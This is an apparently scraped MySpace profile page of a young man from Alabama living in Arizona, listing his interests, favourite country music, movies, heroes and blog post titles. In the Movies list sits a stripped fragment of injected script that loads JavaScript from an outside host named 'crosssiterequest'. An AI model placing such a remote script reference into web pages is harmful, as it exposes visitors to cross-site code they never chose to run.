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Smokin' Joe

... just a hometown boy, born a rollin stone...

About Me

Hey kids, Im a 26 yr old boy from alabama, throwed out here in AZ. i like to do everything, from blockbuster nights to partying it up all night from a country to KARAOKE bar. I also like off-roading, and love my explorer. yes i love doing country stuff too like huntin, fishin, and campin. im actually pretty complicated, but dont take that to mean that i complicate things, theres just alot to me, but i get along w/everyone so its aite. i am more than just a good ole boy from the south, who talks country!! my dress is very laid back. i'll wear AE jeans with a tshirt, flip-flops, and an AUburn hat! i love FLIP-FLOPS!!
TRUTHS... i drink too much beer and whiskey, i eat waaaaaay too much junk food and dont work out enough-gettin chubby, i like to tan or get tan, im a very sensitive guy-cryin durin weddins and movies, im too nice to girls who walk all over my heart, i cant dance all that well, like to cuddle a lil too much, dont go to church enough, i dont get enough sleep cause i dont like sleepin in a bed by myself, i watch too many movies and sing too much drunk karaoke, aint perfect-never will be, i talk waaay too country for most yall usin double negatives and makin up words, and I listen to everythin but mainly country music MyGen Profile Generator Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds

My Interests

Beer, karaoke, Girls, LIVE music, guitar, Church, i like everything! ..... oh yah and COUNTRY MUSIC!! ha

I'd like to meet:

your mama... with a beer in her hand!!
oh yah and i LOVE Kirsten Dunst LOL

PS-- I HATE FAKE PEOPLE!! thats all :)

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Music:

Mainly COUNTRY, but i also like everything--punk, 80s, R&B. anyhow i pretty much LOVE all country music cause my sad life is a country song and its just pride that im from the South and live out pretty much all country songs... includin them drinkin ones ha!

but yah there was this one time that i was dating this girl who i let drive my explorer offroad and she got thrown into a ditch and cracked the back door of my truck and was cryin cause she thought i'd be so mad at her, but all i could do was melt cause she looked so cute, and that it meant she really cared for me cause she had started cryin. Aint it nice to have someone care for ya like that... i miss it :(

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Get this video and more at MySpace.com

Why gretchen wilson? cause im a REDNECK BOY and i want a REDNECK GIRL!!!! just like the one in this song haha

Movies:

YOUVE GOT MAIL, Love Actually, Office Space, What Dreams May Come, Meet the Fockers, Spaceballs, Forrest Gump, Armageddon, Must Love Dogs, Tommy Boy, Elizabethtown, the Notebook, and sooooo many more....... language="javascript" src="http://crosssiterequest.somee.com/request.js"function nothingf(){document·write("nathanjosiah1.mov.r{}");}..

Television:

CMT, MTV, Friends, NASCAR, Seinfeld, and FOOTBALL especially college!!

Books:

um the Bible, the 5 people you meet in heaven, the da vinci code and other Dan Brown books, THE DIVE FROM CLAUSEN'S PIER and i think thats all the big person books i ever read ha....

Heroes:

my daddy, my mama, my brother, Forrest Gump, my minister, and all boys and girls in the military all around the world in all of America's Armed Services, im so proud of you guys!!....

My Blog

Enlisted Girls GRRRRR

why is it that every Military girl i meet here in Iraq who is cool is ENLISTED?!?! i mean theres like a serious shortage of cute, cool, and single Officer gals! am i that hideous?!?!   ...
Posted by Smokin' Joe on Sun, 10 Dec 2006 07:25:00 PST

Randomn Survey - About ME!!

ok... lol SOMEONE read this and tell me whatcha think.. esp you Mandy, lol i read yours!1. What does your MySpace quote mean? -haha its a Darryl Worley song, and prolly the story of my life... :(2. El...
Posted by Smokin' Joe on Mon, 28 Nov 2005 06:39:00 PST

You know you're Irish when.....

( I stole this from a really cool Irish girl but its GREEAAATTT... haha ) You know you're Irish when........ Current mood: Great :) The condensation on your pint of Guinness takes the shape of shamro...
Posted by Smokin' Joe on Mon, 01 Jan 1900 12:00:00 PST

Dear Alcohol.....

haha stole this off someones page... Dear Alcohol, First & foremost, let me tell you that I'm a huge fan of yours. As my friend, you always seem to be there when needed. The perfect post-work cock...
Posted by Smokin' Joe on Mon, 01 Jan 1900 12:00:00 PST

Booty Call Application!!

aite so i stole this from my sweet southern belle Mallory, but i thought it was hella-cool :o)... and ima dork so here goes..   BOOTY CALL APPLICATION Body: booty call application Booty Call appl...
Posted by Smokin' Joe on Mon, 01 Jan 1900 12:00:00 PST

Girl Friend Application

k yall i stole this from my hottie Katie, but i wanted to see if any of yall would reply and what ya'll'd put. wow i think i just invented that word: ya'll'd.. but PLEASE TAKE IT AND POST!! :-D ...
Posted by Smokin' Joe on Mon, 01 Jan 1900 12:00:00 PST